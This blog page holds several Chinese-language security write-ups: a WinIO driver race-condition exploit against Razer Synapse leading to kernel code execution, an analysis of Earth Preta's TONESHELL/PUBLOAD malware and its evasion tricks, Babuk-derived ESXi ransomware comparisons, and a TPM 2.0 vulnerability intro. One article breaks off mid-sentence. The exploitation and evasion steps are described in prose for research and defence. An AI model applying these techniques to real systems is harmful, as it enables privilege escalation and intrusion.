Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863102309

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

研究人員在OEM廠商的外圍設備中發現了多個漏洞,這影響了這些OEM廠商(Razer、EVGA、MSI、AMI)的許多用戶。這些漏洞源於一個眾所周知的易受攻擊的驅動程序,通常被稱為WinIO/WinRing0。

本文會重點介紹一個有趣的TOCTOU漏洞案例(CVE-2022-25637),以及其他一些漏洞。

眾所周知,MSI開發了一個名為MSI Dragon Center的便捷工具,其目的是檢索有關計算機統計信息(即GPU/CPU使用情況)並控制硬件相關設置。

不過從實際反饋來看,它運行得併不好,出現了許多UI問題並且加載時間慢。有研究人員在調整MSI電腦上風扇的速度時,無疑發現了其中的問題,很可能是MSI使用了內核驅動程序。本文的作者檢查證實了MSI使用內核驅動程序來執行Dragon Center提供的一些功能,即風扇控制功能是通過WMI對像或供應商特定的API(如NvAPI_GPU_SetCoolerLevels)完成的,並沒有在Dragon Center代碼中實現。此外,Dragon Center加載了一個名為WinIO的驅動程序,這顯然與風扇控制的邏輯無關。綜合上述事件,我開始研究WinIo驅動程序,因為它可能會構成一個有趣的攻擊面。

WinIO是由www.internals.com開發的著名內核驅動程序(該網站已不再在線,但可以通過archive.org訪問)。 WinIO驅動程序庫允許32位和64位Windows用戶模式進程直接訪問I/O端口、MSR寄存器和物理內存,它已被許多供應商廣泛使用。由於它具有強大的功能,因此責任重大,驅動程序應該只允許特權用戶使用這些功能。

然而,在WinIo中,情況有所不同,任何用戶都可以與之交互,包括沙盒應用程序。 WinIo可以簡單地在設備對像上設置一個安全描述符,以避免低權限用戶與其交互,如下面的代碼片段所示。

1.png

將SDDL應用於設備對象

我在我的設備上發現的WinIo版本是驅動程序的早期版本(我們懷疑它是WinIo 2.0版),即使是最簡單的漏洞也極易對其發起攻擊,一個簡單的DeviceIoControl請求可能會破壞堆棧。通過使用具有IOCTL代碼0x80102040的DeviceIoControl發送I/O請求,研究人員得到了一個memmove方法。

2.png

WinIo調度函數:易受攻擊的memmove/memcpy

此memmove缺少任何參數檢查。更準確地說,它屬於控制長度參數,該參數源自SystemBuffer。因此,通過指定大於IOPM本地變量長度的長度,我們可以很容易地破壞堆棧。因此,我們可以重寫本地堆棧數據,這是一個經典的緩衝區溢出場景,它可以導致重寫調用方的返回指針,再加上使用ROP鏈,最終導致權限升級。

然而,存在另一個漏洞,即通過物理內存映射的權限升級,這允許我們擁有一個強大的R/W原語。

3.png

WinIO中的任意內存R/W函數

此時,會出現一個問題,這個代碼庫是否可以用於其他地方\驅動程序?

尋找其他易受攻擊的程序我們在VirusTotal中編寫了一個相對簡單的查詢,並找到了114個潛在驅動程序的匹配項,這些潛在驅動程序可能與我們的脆弱驅動程序共享相同的代碼庫。

通過快速瀏覽一些驅動程序的逆向代碼,許多供應商似乎使用了WinIo驅動程序的相同易受攻擊的代碼庫。

其中Razer Synapse Service.sys特別引起了我的注意。

4.webp.jpg

Razer Synapse Servicesys VirusTotal結果

三個異常的Razer Synapse研究人員的設備上安裝的是Razer Synapse,RazerSynapse(雷蛇雲驅動)是款雲端軟件,配合Razer的鍵鼠使用,可以把遊戲配置文件、宏,已經鼠標等的設置參數同步到雲端。 Razer Synapse加載了一些驅動程序,其中之一是Razer Synape服務。 sys–具有不同名稱的WinIo驅動程序。通常,當加載WinIo驅動程序時,不會對設備對象設置安全限制。然而,在這種情況下,它有一個限制性的安全描述符。

5.webp.jpg

應用於Razer驅動程序的SDDL

此時,通常應該放棄此驅動程序,即使它是錯誤的,因為為了與此驅動程序交互,你需要具有高權限,這意味著你已經可以執行特權操作。

在Windows中,如果你以admin+的身份開始,那麼讓驅動程序做一些異常的操作並不會被視為是不安全的事情。由於驅動程序沒有設置安全描述符,所以這一定是在其他地方完成的。

根據MSDN的描述:“設備對象的安全性可以由放置在INF文件中或傳遞給IoCreateDeviceSecure的SDDL字符串指定。”

現在,我們應該仔細分析一下INF文件,但令人驚訝的是,並沒有INF文件!

不得不說這是一個很奇怪的情況,我們懷疑Razer Synapse Service.exe將SDDL設置為驅動程序創建的設備對象。為此,我們監控了Procmon中的系統,並註意到該程序負責加載Razer Synapse Service.sys驅動程序。

6.webp.jpg

準備安裝“Razer Synapse Service.sys”

我們需要對Razer Synapse Service.exe進行逆向工程,以了解它在何處應用安全描述符。幸運的是,它是用C#編寫的,這將使我們的逆向工程工作更容易,因為我們可以使用reflector。

通過遍歷模塊列表,找出哪個模塊負責加載內核驅動程序。我們將不同的模塊反編譯回C#(我們使用了DnSpy),然後繼續查找與服務控制管理器(SC管理器)進行的任何通信。我們發現負責此事的模塊是LibreHardwareMonitorLib(開源)。

如果我們仔細觀察代碼,就會發現一些奇怪的東西。

7.webp.jpg

我們可以看到,在第11-14行中,服務嘗試打開驅動程序創建的設備對象的句柄,然後為其設置新的安全描述符。我的意思是,他們在用戶模式下使用了正確的方法,但他們一開始就不應該在用戶模式空間中這樣做。

如上所述,應用SDDL應該在內核中完成,並在設備創建時完成。事實上,它沒有在內核空間中發生,這導致設備對象持有一個默認的安全描述符,該描述符允許低權限用戶與設備對象交互。

這是檢查使用時間漏洞的典型案例。如果我們能夠利用這個短時間段獲取設備對象的句柄,那麼我們就可以濫用WinIo的漏洞。

漏洞利用“Razer Synapse Service”配置為自動啟動。因此,我們不能從低權限用戶的角度隨意重新啟動它。要利用該漏洞,就是要在不重新啟動服務的情況下重新創建競爭條件(race condition)。

事實證明,使用synapse3提供的更新機制,觸發這種情況相對容易。每當安裝新更新或新插件時,Razer Synapse Service將重新啟動。

重新啟動過程包括卸載WinIo驅動程序,然後重新加載。因此,允許我們觸發競爭條件。這是通過安裝一個新模塊來完成的,這一操作不需要特權,因為Synsapse3支持Alexa、Chroma Connect、Chroma Studio、Philips HUE等模塊。

8.webp.jpg

模塊列表Synapse 3

如果我們選擇安裝其中一個模塊,synapse3進程將通過命名管道向Razer Central Service發送命令,以安裝所選模塊。

RazerCentralService.exe啟動模塊安裝,包括停止和啟動RazerSynapse服務,從而卸載和加載驅動程序。為此,我們創建了一個POC,該POC完成了整個過程,在POC觸發模塊安裝期間,一個無限的while循環嘗試使用CreateFile API打開設備對象的句柄。我們設法在安全描述符更改之前打開了設備的句柄,換句話說,我們贏得了競爭。此時,服務更改安全描述符並不重要,因為我們擁有設備對象的有效句柄。

現在我們可以自由地與設備對象交互,可以利用WinIo的一些漏洞。在本文的POC中,我們利用了MSR R/W原語。寫入MSR原語允許我們重寫IA32_LSTAR MSR。這個特定的MSR保存著指向處理系統調用的內核函數的指針(KiSystemCall64Shadow)。通過重寫函數指針,我們可以實現任意的內核代碼執行。

根據@_xeroxz的經驗,我們使用稱為msrexec的工具輕鬆地開發了MSR寫入原語漏洞。

總結這項研究是我們修設備風扇時無意中發現的一個漏洞,通過利用一個很酷的競爭條件,導致在內核中運行代碼。

Earth Preta組織從3月開始就在全球肆虐,其開發的惡意軟件家族包括TONEINS、TONESHELL和PUBLOAD。 Earth Preta又名Mustang Panda或Bronze President。該組織的攻擊對象包括但不限於緬甸、澳大利亞、菲律賓、日本等國家。

趨勢科技的研究人員最近發現Earth Preta濫用虛假谷歌賬戶,通過魚叉式網絡釣魚電子郵件傳播惡意軟件,這些電子郵件最初存儲在一個存檔文件(如rar/zip/jar)中,並通過Google Drive鏈接傳播。然後誘騙用戶下載並觸發惡意軟件執行TONEINS、TONESHELL和PUBLOAD。 PUBLOAD之前已被報導,我們會在本文將其與TONEINS和TONESHELL聯繫起來,後者是該組織在其活動中新使用的惡意軟件家族。

此外,攻擊者利用不同的技術來逃避檢測和分析,如代碼混淆和自定義異常處理程序。我們還發現,魚叉式網絡釣魚郵件的發件人和Google Drive鏈接的所有者是相同的。根據用於誘騙受害者的樣本文件,我們還認為,攻擊者能夠對目標組織進行研究,並可能事先對其進行破壞,從而使其變得熟悉,這在之前被洩露的賬戶名稱的縮寫中有所顯示。

在這篇文章中,我們討論了Earth Preta的活動及其策略、技術和程序(TTP),包括新的安裝程序和後門。

受害目標分析根據我們對這一威脅的監測,誘餌文件是用緬甸文寫成的,內容是“僅限內部”。文件中的大多數主題都是國家間有爭議的問題,包含“機密”或“機密”等詞 ,這可能表明,攻擊者將緬甸政府作為他們的第一個立足點。這也可能意味著,攻擊者在攻擊之前就已經對特定的政治對象進行了破壞,Talos研究人員此前也注意到了這一點。

攻擊者利用竊取的文件作為誘餌,誘騙與緬甸政府機構有合作關係的目標組織下載並執行惡意文件。受害者涵蓋了世界範圍內廣泛的組織和垂直領域,其中亞太地區的受害者集中度更高。除了在緬甸開展合作的政府辦事處外,隨後的受害者還包括教育和研究行業等。除了以涉及特定組織的正在進行的國際事件為誘餌之外,攻擊者還用與色情材料有關的標題引誘個人用戶下載。

2.png

Earth Preta的目標行業分佈

攻擊進程Earth Preta使用魚叉式網絡釣魚郵件作為攻擊的第一步。如前所述,一些郵件的主題和內容討論地緣政治話題,而其他郵件可能包含聳人聽聞的主題。我們觀察到,我們分析的所有電子郵件中都嵌入了Google Drive鏈接,這表明用戶可能會被誘騙下載惡意文件。文件類型包括壓縮文件,例如.rar、zip和.jar。訪問鏈接後,我們了解到文件包含惡意軟件TONEINS、TONESHELL和PUBLOAD。

4.png

有關會議記錄的電子郵件文檔,可能是從先前的攻擊中竊取的

魚叉式網絡釣魚電子郵件通過分析電子郵件的內容,發現Google Drive鏈接被用來誘騙受害者。電子郵件的主題可能為空,或者可能與惡意文件同名。攻擊者沒有將受害者的地址添加到電子郵件的“收件人”標題中,而是使用了假電子郵件。同時,真實受害者的地址被寫在“CC”標題中,可能會逃避安全分析,延緩調查。使用開源情報(OSINT)工具GHunt來探測“收件人”部分中的那些Gmail地址,我們發現了這些虛假賬戶,其中幾乎沒有信息。

此外,我們觀察到一些發件人可能是來自特定組織的電子郵件帳戶。受害者可能會相信這些郵件是由可信的合作夥伴發送的,這增加了收件人選擇惡意鏈接的機會。

虛假文件我們還發現了一些與緬甸政府對象相關或與之合作的組織有關的虛假文件。其中包含了緬甸和中國大使館之間的粗略會面時間表。另一份文件與日本科學促進協會(JSPS)有關,該協會為研究人員提供在日本進行研究交流的機會。值得注意的是,壓縮文件附件中主要是圖片。用於下一層側加載的惡意DLL和可執行文件也包含在其中。

5.png

有關政府會議(左)及海外研究交流(右)的虛假文件樣本

此外,還有其他內容主題多樣的誘餌文件,包括地區事務和色情內容。但是,當受害者打開這個文件夾中的假文檔文件時,沒有相應的內容出現。

其他攻擊途徑我們觀察到至少三種類型的攻擊途徑,包括通過Google Drive鏈接、Dropbox鏈接或其他託管文件的IP地址分佈在世界各地的30多個誘餌文件。在我們收集的大多數樣本中,都有合法的可執行文件,以及側加載的DLL。誘餌文件的名稱在每個案例中都有所不同。在接下來的部分中,我們將以其中一些為例,介紹每一個的TTP。

DLL側加載在該示例中,有三個文件:“~”, Increasingly confident US is baiting China.exe和libcef.dll。值得注意的是,誘餌文件和可執行文件的名稱可能不同,詳細信息將在下一節中介紹。

6.png

誘餌文件

7.png

PUBLOAD文件中的誘餌文件

可以看出“~”文件是一個誘餌文件。 Increasingly confident US is baiting China.exe是一個合法的可執行文件(最初名為adobe_licensing_wf_helper.exe,即adobe licensing wf helper)。這個可執行文件將側載惡意的libeff .dll並觸發導出函數cef_api_hash。

首次執行時,可執行文件嘗試通過複製.exe文件和移動libcef.dll(趨勢科技將其命名為Trojan.W32.PUBLOAD)。

8.png

惡意活動

快捷鏈接惡意文件包含三個文件:New Word Document.lnk、putty.exe和CefBrowser.dll。特別是,DLL和可執行文件被放置在名為“_”的多層文件夾中。

9.png

攻擊者利用.lnk文件通過使用WinRAR解壓縮文件來安裝惡意文件。完整的命令行如下所示。

10.png

Pputty.exe偽裝成一個正常的可執行文件,其原始文件名為AppXUpdate.exe。當它被執行時,它會加載CefBrowser.dll,並在它的導出函數CCefInterface:SubProcessMain中執行主例程。它還濫用schtask來實現持久性。

10.png

惡意軟件在這次活動中,研究人員識別出使用了以下惡意軟件,即PUBLOAD、TONEINS和TONESHELL。

Trojan.Win32.PUBLOADPUBLOAD是一個可以從其指揮控制(CC)服務器下載下一級有效負載的stager。該惡意軟件於2022年5月由Cisco Talos首次披露。

一旦.dll被執行,它首先通過調用OpenEventA來檢查相同的進程是否已經在運行。根據Barberousse發布的推文,一些值得注意的事件名稱被識別為Twitter上其他網絡安全研究人員的用戶名,如“moto_sato”、“xaacrazyman_armyCIAx”和“JohnHammondTeam”。值得注意的是,這些研究人員與PUBLOAD沒有任何關係,只是被二進製文件中的攻擊者有意提及。

14.png

PUBLOAD中特殊事件名稱的示例

持久性分析PUBLOAD在

1. 添加註冊表運行項

15.png

2. 創建計劃任務

16.png

反分析技術:帶有回調的APIPUBLOAD惡意軟件在內存中的AES算法中解密shellcode。 shellcode是通過創建線程或使用不同的API調用的。 API可以接受回調函數的參數,作為觸發shellcode的替代方法。我們觀察到一些利用API的情況,包括GrayStringW、EnumDateFormatsA和LineDDA,可以將其視為繞過反病毒監視和檢測的技術。

17.png

PUBLOAD中的shellcode回調示例

18.png

接受回調函數的API

CC協議解密的PUBLOAD shell代碼收集計算機名和用戶名作為第一個信標的有效負載。有效負載將使用預定義的RC4 (Rivest Cipher 4)密鑰進行加密。在撰寫本文時,到目前為止我們看到的所有階段都共享相同的密鑰。

加密後,stager使用特定的字節序列作為其數據包的標頭。它在加密數據之前加上神奇的字節“17 03 03”和有效負載大小。

19.png

PUBLOAD惡意軟件中使用的RC4密鑰(頂部)和數據包主體(底部)

20.png

PUBLOAD中的請求數據包格式

stager還檢查響應包是否具有相同的魔術標頭“17 03 03”。在內存中下載的有效負載將被視為一段shellcode,並將直接執行。

值得注意的調試字符串在2022年初,我們發現了一些嵌入調試字符串的PUBLOAD示例。它們被用來分散分析人員對主要感染程序的注意力。

21.png

PUBLOAD中分散注意力的調試字符串

Trojan.Win32.TONEINSTrojan.Win32.TONEINS是TONESHELL後門的安裝程序。安裝程序將TONESHELL惡意軟件放入%PUBLIC%文件夾,並為其建立持久性。 TONEINS惡意軟件通常出現在誘餌文件中,在大多數情況下,TONEINS DLL的名稱是libcef.DLL。惡意例程通過調用其導出函數cef_api_hash來觸發。

TONEINS惡意軟件被混淆,可能會減慢惡意軟件分析的速度。它的控制流中包含大量垃圾代碼,並且有大量無用的XOR指令,似乎暗示這些指令用於解碼字符串。經過檢查,我們發現這些混淆的代碼是從開源存儲庫中重用的。

23.png

TONEINS中的代碼混淆

安裝程序通過使用以下schtasks命令建立TONESHELL後門的持久性:

24.png

被釋放的TONESHELL惡意軟件的文件名大小寫不同,計劃任務的名稱也不同。建立持久性後,TONESHELL將合法的可執行文件和惡意的DLL複製到%PUBLIC%文件夾,其中兩個文件的名稱在誘餌存檔中都以“~”開頭。在本示例中,~$220220817.docx是用於DLL側加載的合法可執行文件,而~$20220617(1).docx是要安裝的TONESHELL後門DLL。

25.png

帶有虛假文件擴展名的文件

Backdoor.Win32.TONESHELLTONESHELL惡意軟件是本次活動中使用的主要後門。它是一個shellcode加載器,在內存中使用一個32字節的密鑰加載和解碼後門shellcode。在早期版本的TONESHELL中,它具有來自TONEINS惡意軟件的功能,包括建立持久性和安裝後門。然而,最新版本的TONESHELL是一個獨立的後門,沒有任何安裝程序功能(例如文件~$Talkpoints.docx)。它也以類似於TONEINS惡意軟件的方式被混淆,表明攻擊者繼續更新武器庫以繞過檢測。

反分析:進程名稱檢查為了確保TONESHELL被正確安裝,Backdoor.Win32.TONESHELL首先檢查進程路徑是否與預期路徑匹配。如果是,則自定義異常處理程序可能會觸發惡意代碼。

26.png

TONESHELL中的進程名稱檢查

反分析:c++中的自定義異常處理程序有趣的是,攻擊者使用自定義異常處理程序的實現隱藏了實際的代碼流。將根據進程名稱檢查的結果調用不同的異常處理程序,通過調用_CxxThrowException觸發異常來繼續惡意例程。調用後,C++運行時將從ThrowInfo結構一直到_msRttiDscr結構中的CatchProc成員找到相應的異常處理程序,其中包含真正的惡意代碼。在此示例中,異常處理程序位於偏移量0x10005300處。這種技術不僅隱藏了執行流,而且還停止了分析師調試器的執行。

27.png

C++中異常處理的數據工作流;黃色圓圈中的CatchProc成員是要調用的惡意異常處理程序

28.png

異常處理程序中的主要惡意例程

反分析:ForegroundWindow檢查查看最近的TONESHELL示例,我們注意到與早期版本相比,添加了新的反沙盒技術。較新的版本調用GetForegroundWindow API兩次並檢查是否有任何窗口切換。如果環境是沙盒,兩個調用將獲得相同的窗口句柄,因為大多數沙盒中不涉及人工交互,導致前台窗口不更改。此外,作為一種反沙盒和延遲執行技術,惡意例程只有在前台窗口已經切換了第五次時才會被觸發。

29.png

更新的TONESHELL示例中的GetForegroundWindow檢查

30.png

第五個窗口開關觸發的惡意例程

Shellcode解碼觸發惡意異常處理程序後,它開始解碼下一階段的TONESHELLshellcode。要解碼shellcode,它首先在與0x7D的XOR運算中解碼一個32字節的密鑰,然後該密鑰將用於解碼shellcode主體。

31.png

解碼前(中間)和解碼後(底部)32字節密鑰(頂部)和TONESHELLshellcode的示例

不斷改進的變體我們發現了TONESHELLshellcode的幾種變體:

32.png

TONESHELL變體之間的差異

變體ATONESHELL在設計上支持多達10個CC服務器,但在我們F發現的所有示例中,只使用了一個CC服務器。在連接到CC服務器之前,它使用受害者的捲序列號和計算機名生成一個受害者ID(變量unique_id),或者使用一個隨機生成的GUID。

33.png

查找TONESHELL中支持的10個CC服務器

34.png

在TONESHELL變體A中用於生成受害者ID的算法

在第一個信標中,它從受害者的設備收集以下數據並將其發送到CC服務器:

當前進程ID;

卷序列號;

使用者名稱;

計算機名稱;

產品名稱;

操作系統位;

進程列表;

TONESHELL通過原始TCP進行通信,請求標頭和響應標頭以特定

0.jpg

博文摘要基於2021年洩露的Babuk源代碼,SentinelLabs發現了10個勒索軟件團伙使用VMware ESXi加密器(locker)。

這些變體出現在2022年下半年和2023年上半年,表明了Babuk源代碼採用率與日俱增的趨勢。

洩露的源代碼使威脅分子能夠攻擊Linux系統,他們原本缺乏構建切實可行的程序的專長。

隨著更多的威脅分子採用工具,源代碼洩露進一步加大了追根溯源的複雜性。

背景介紹在2023年初,SentinelLabs觀察到基於Babuk(又名Babak或Babyk)的VMware ESXi勒索軟件有所增加。 2021年9月的Babuk洩露事件為我們深入了解有組織的勒索軟件團伙的開發活動提供了大好機會。

由於ESXi在本地和混合企業網絡中很普遍,這種虛擬機管理程序是勒索軟件的重要目標。在過去的兩年裡,多個有組織的勒索軟件團伙採用了Linux加密器,包括ALPHV、Black Basta、Conti、Lockbit和REvil。相比其他Linux變體,這些團伙更關注ESXi,利用ESXi虛擬機管理程序的內置工具來終結訪客系統,然後加密關鍵的虛擬機管理程序文件。

我們發現洩露的Babuk源代碼和歸因於Conti和REvil的ESXi加密器之間存在重疊,後者的迭代版本彼此非常相似。我們還將它們與洩露的Conti Windows加密器源代碼進行了比較,發現了共同的定制函數名和功能特性。

除了這些臭名昭著的團伙外,我們還發現了使用Babuk源代碼生成更出名的ESXi加密器的小型勒索軟件團伙。從Babuk衍生而來的ESXi加密器陣營越來越龐大,包括Ransom House團伙的Mario和之前未記錄的ESXi版本的Play勒索軟件。

Babuk背景Babuk是ESXi勒索軟件領域的早期團伙之一。該團伙的壽命在2021年受到影響,當時Babuk的開發人員洩露了Babuk基於C++的Linux可執行和可鏈接格式(ELF)ESXi、基於Golang的網絡附加存儲(NAS)和基於C++的Windows勒索軟件工具的構建器源代碼。

直到2022年初,沒有太多跡象表明威脅分子改動了洩露的Babuk源代碼,除了曇花一現的“Babuk 2.0”變體和偶爾死灰復燃的新的Windows勒索軟件外。由於網絡犯罪研究常針對Windows,Linux領域的動向悄然出現。

SentinelLabs通過源代碼/6а6ак/esxi/enc/main.cpp中的字符串Doesn 't encrypted files: %d\n,發現了由Babuk派生而來的勒索軟件。

1.jpg

圖1. Babuk源代碼main.cpp中的獨特字符串

Babuk構建器為新生成的二進製文件指定文件名e_esxi.out。我們發現的幾個樣本都有類似的命名約定:

2.png

圖2

在加密方面,ESXi Babuk使用Sosemanuk流密碼的實現對目標文件進行加密,而Windows版本的Babuk使用HC-128加密。 ESXi和Windows Babuk都使用Curve25519-Donna來生成加密密鑰。

數代Babuk家族比較方法SentinelLabs整理出了未精簡的Babuk二進製文件,為Babuk的外觀和行為確立基準,此後稱之為“基準Babuk”(Baseline Babuk)。為了解我們發現的變體是否與Babuk有關,我們將每個變體與這個基準Babuk樣本進行了比較,凸顯了顯著的相似和差異之處。

Babuk 2023(.XVGV)SHA1:e8bb26f62983055cfb602aa39a89998e8f512466

XVGV又名Babuk 2023,於2023年3月出現在Bleeping Computer的論壇上。基準Babuk和XVGV共享了由main.cpp派生而來的代碼、來自args.cpp的參數處理函數和加密實現。

與Babuk一樣,XVGV要求勒索軟件團伙提供要加密的目錄作為參數。在動態分析過程中,我們提供了測試系統的用戶目錄。在第一次運行時,樣本在所有子目錄中生成了勒索信HowToRestore.txt。

然而只有6個文件被加密,每個文件的擴展名為.log或.gz。查看包含的文件擴展名可以發現為什麼破壞很有限:XVGV針對以VMware為中心的文件,排除那些與指定列表不匹配的文件。這是基準Babuk共有的行為,不過XVGV開發者添加了更多的文件擴展名。

3.jpg

圖3. XVGV.rodata部分引用文件擴展名(左)和Babuk源代碼對應部分

Play(.FinDom)SHA1:dc8b9bc46f1d23779d3835f2b3648c21f4cf6151

該文件引用文件擴展名.FinDom以及勒索電子郵件地址findomswitch@fastmail.pw,這些是與Play勒索軟件相關的工件。這是針對Linux系統構建的第一個已知版本的Play,這與勒索軟件團伙日益攻擊Linux的趨勢保持一致。 Play包含與基準Babuk相同的文件搜索功能;它還使用Sosemanuk實現加密。

4.jpg

圖4. 基準Babuk(左)和Play反彙編勒索信構造函數

Play二進製文件作為壓縮包(SHA1: 9290478cda302b9535702af3a1dada25818ad9ce)的一部分被提交到VirusTotal,壓縮包裡有多種黑客工具和實用程序,包括AnyDesk、NetCat、特權升級批處理文件和編碼的PowerShell Empire腳本,在獲得初始訪問權後它們與勒索軟件團伙採用的技術相關聯。

Mario(.emario)SHA1:048 b3942c715c6bff15c94cdc0bb4414dbab9e07

Mario勒索軟件由Ransom House運營,該團伙於2021年浮出水面。 Ransom House最初聲稱,他們以易受攻擊的網絡為目標,竊取數據,並不加密文件。然而該團伙此後採用了加密器。

樣本同樣有一個很相似的find_files_recursive函數,包括默認的勒索信文件名How To Restore Your Files.txt。加密函數也一樣。

冗長的勒索信內容是Mario ESXi加密器最獨特的部分。 Ransom House威脅分子向受害者提供了非常明確的指示,解釋應該做什麼、如何與他們聯繫。

5.jpg

圖5. Mario字符串顯示默認的Babuk日誌信息和勒索信

Conti POC(.conti)Conti POC—SHA1:091f4bddea8bf443bc8703730f15b21f7ccf00e9

Conti ESXi加密器SHA1:ee827023780964574f28c6ba333d800b73eae5c4

令我們驚訝的是,搜尋Babuk過程中發現了幾個內部名為“Conti POC”的二進製文件,POC的全稱可能是“概念驗證”,這些二進製文件出現在2022年9月針對墨西哥實體的一起活動中。

Conti是一個臭名昭著的勒索軟件團伙,組織嚴密、冷酷無情。洩露的信息顯示,Conti的組織體系更像許多合法公司,而不是犯罪團伙:該團伙僱傭了中層管理和人力資源部門。大約在2021年初,洩露的聊天記錄顯示,Conti在讓其ESXi加密器發揮功效時遇到了麻煩。

我們比較了Conti和Babuk的幾個迭代版本,以評估兩者的聯繫。 Conti ESXi於2022年4月問世,這可能意味著Conti在2021年9月Babuk代碼洩露後實現了該代碼,最終使加密器發揮功效。

Conti POC和Conti ESXi加密器:Conti POC不太成熟,這與“概念驗證”的名稱倒是一致。 Conti POC和Conti ESXi有許多相同的函數名和行為,包括相同的參數處理函數和條件。我們得出結論,這些樣本是相關的;Conti POC可能是Conti ESXi加密器的前身。

6.jpg

圖6. Conti ESXi(左)和Conti POC Babuk派生參數處理的橫向比較視圖

Conti POC 基準Babuk:Conti POC SearchFiles和基準Babuk find_files_recursive函數非常相似,含有相同的文件狀態變量名。 Conti將此函數的某些部分移植到了其他本地模塊,表明比基準Babuk更成熟。這兩個家族還有相似的主函數,表明兩者也有聯繫,Conti POC是更成熟的基準Babuk進化版。

7.jpg

圖7. 基準Babuk(左)中的find_files_recursive和Conti POC中的SearchFiles

對比Conti Windows洩露代碼:在Linux版本的Conti(POC和ESXi)與洩露的Windows Conti代碼之間,實用程序和函數名稱存在相當大的重疊。兩個版本都使用相同的開源ChaCha加密實現。洩露的Conti Windows代碼含有註釋掉的對HandleCommandLine的引用——這是我們分析的其他Conti變體中看到的一個函數,以及幾個需要解析的共享參數,比如prockiller。開發人員可能會在Windows版本與ESXi加密器之間對齊了函數名,以實現功能同等。

8.jpg

圖8. Conti ESXi(左)和Windows main.cpp HandleCommandLine函數

REvil,又名Revix(.rhkrc)RHKRC— SHA1:74e4b2f7abf9dbd376372c9b05b26b02c2872e4b

2021年6月Revix—SHA1:29f16c046a344e0d0adfea80d5d7958d6b6b8cfa

我們發現了一個內部名為RHKRC的類似Babuk的樣本,它將.rhkrc擴展名附加到文件名的末尾,這個行為與REvil團伙的“Revix”ESXi加密器相關聯。有意思的是,關於外頭Revix的報告可以追溯到2021年6月,早於2021年9月的Babuk源代碼洩露。

為了明白這在發展時間表中所在的位置,我們比較了相關活動的幾個迭代版本:

RHKRC和Conti POC:這兩個版本異常相似,都通過上述的ChaCha20實現了加密。它們有一個幾乎相同的InitializeEncryptor函數。這些樣品是相關的。

9.jpg

圖9.來自RHKRC(左)和Conti POC的InitializeEncryptor函數

10.jpg

圖10.來自RHKRC(左)和Conti POC的EncryptFull函數

RHKRC和基準Babuk:這些樣本有許多相同的函數名,包括Babuk的原生線程池。然而,RHKRC實現加密的方式有所不同,它有更定制的ESXi CLI活動。我們認為這些樣本是相關的,不過RHKRC更成熟,儘管同樣處於“概念驗證”階段。

RHKRC和2021年6月Revix:我們比較了RHKRC和2021年6月活躍的Revix。 Revix要成熟得多,包含在分析的其他變體中未看到的動態代碼去混淆措施。 RHKRC和Revix都有相同的內部文件名(elf.exe)、勒索信名稱和附加的文件擴展名。然而,這些相似之處主要是表面上的,我們無法得出是否明確存在關聯的結論。關於這些巧合的任何說法都只是猜測。

榮譽提名SentinelLabs特別指出,還有另外幾個已知的家族由Babuk ESXi源代碼派生而來,包括:

Cylance勒索軟件(與同名安全公司無關)

Dataf加密器

Rorschach,又名BabLock

Lock4

RTM加密器

雖然毫無疑問有更多的Babuk衍生變體未引起注意,但還有其他獨特的ESXi勒索軟件家族。粗略看一下ALPHV、BlackBasta、Hive和Lockbit的ESXi加密器,發現它們與Babuk沒有明顯的相似之處。

Babuk偶爾也會背黑鍋。坊間報導的2月份ESXiArgs活動曾短暫摧毀了一些未打補丁的雲服務,聲稱同名加密器由Babuk派生而來。然而我們分析後發現,ESXiArgs(SHA1: f25846f8cda8b0460e1db02ba6d3836ad3721f62)與Babuk幾乎沒有相似之處。唯一值得注意的相似之處是,使用相同的開源Sosemanuk加密實現。主函數完全不同,如下所示。 ESXiArgs還使用外部shell腳本來搜索文件,向esxcli提供參數,因此沒有原生的find_files_recursive函數可供比較。

11.jpg

圖11. ESXiArgs主函數

結論SentinelLabs的分析發現了ESXi勒索軟件家族之間的意外聯繫,揭示了Babuk與Conti和REvil等更出名的團伙之間可能存在的關係。雖然與REvil的關係仍是暫時的,但這些團伙(Babuk、Conti和REvil)有可能將ESXi加密器項目外包給了同一家開發商。在勒索軟件開髮圈,Linux惡意軟件開發商面臨的人才庫肯定要小得多,而勒索軟件開髮圈在開發高明的Windows惡意軟件方面一直擁有可圈可點的專長。勒索軟件團伙遭遇過無數次洩密,所以這些圈子中出現小規模洩露也在情理之中。此外,威脅分子可能共享代碼進行協作,類似開放開發項目的源代碼。

一個明顯的趨勢是,威脅分子日益使用Babuk構建器來開發ESXi和Linux勒索軟件。當由資源較少的威脅分子使用時,這一點尤為明顯,因為這些威脅分子不太可能大幅修改Babuk源代碼。

從Babuk的ESXi加密器代碼的流行程度來看,威脅分子也可能轉向該團伙基於Go的NAS加密器。對於許多威脅分子來說,Gang仍然是小眾的選擇,但其人氣在不斷提升。被盯上的NAS系統也基於Linux。雖然NAS加密器不那麼複雜,但代碼清晰易讀,這可能使熟悉Go或類似編程語言的開發人員更容易訪問勒索軟件。

攻陷指標12.png

圖12

我們將在本文中詳細討論在可信平台模塊(TPM) 2.0參考實現代碼中發現的兩個漏洞。這兩個漏洞,即越界寫入(CVE-2023-1017)和越界讀取(CVE-2013-1018),影響了多個TPM 2.0軟件實現(如虛擬化軟件使用的軟件)以及多個硬件TPM。

介紹2021年10月,微軟發布了Windows 11。其中一個突出的安裝需求是需要可信平台模塊(TPM) 2.0。這一需求的含義是,為了能夠在虛擬機中運行Windows 11,虛擬化軟件必須通過對主機上的硬件TPM進行傳遞或通過向其提供虛擬TPM來向VM提供TPM。

我們發現這是一個有趣的漏洞研究主題,因為添加虛擬TPM意味著可以從客戶內部訪問虛擬化軟件的擴展攻擊面,因此它可能用於虛擬機逃逸。作為研究工作的結果,我們發現了兩個安全問題:一個被標識為CVE-2023-1017的越界寫入,另一個被識別為CVE-203-1018的越界讀取。它們可以從用戶模式應用程序通過發送帶有加密參數的惡意TPM 2.0命令來觸發。有趣的是,這兩個漏洞的影響比我們最初想像的要大,鑑於它們源自Trusted Computing Group(簡稱TCG,發布和維護TPM規範的非營利組織)發布的參考實現代碼,這些安全漏洞不僅影響到我們測試的每個虛擬化軟件,也包括硬件實現。

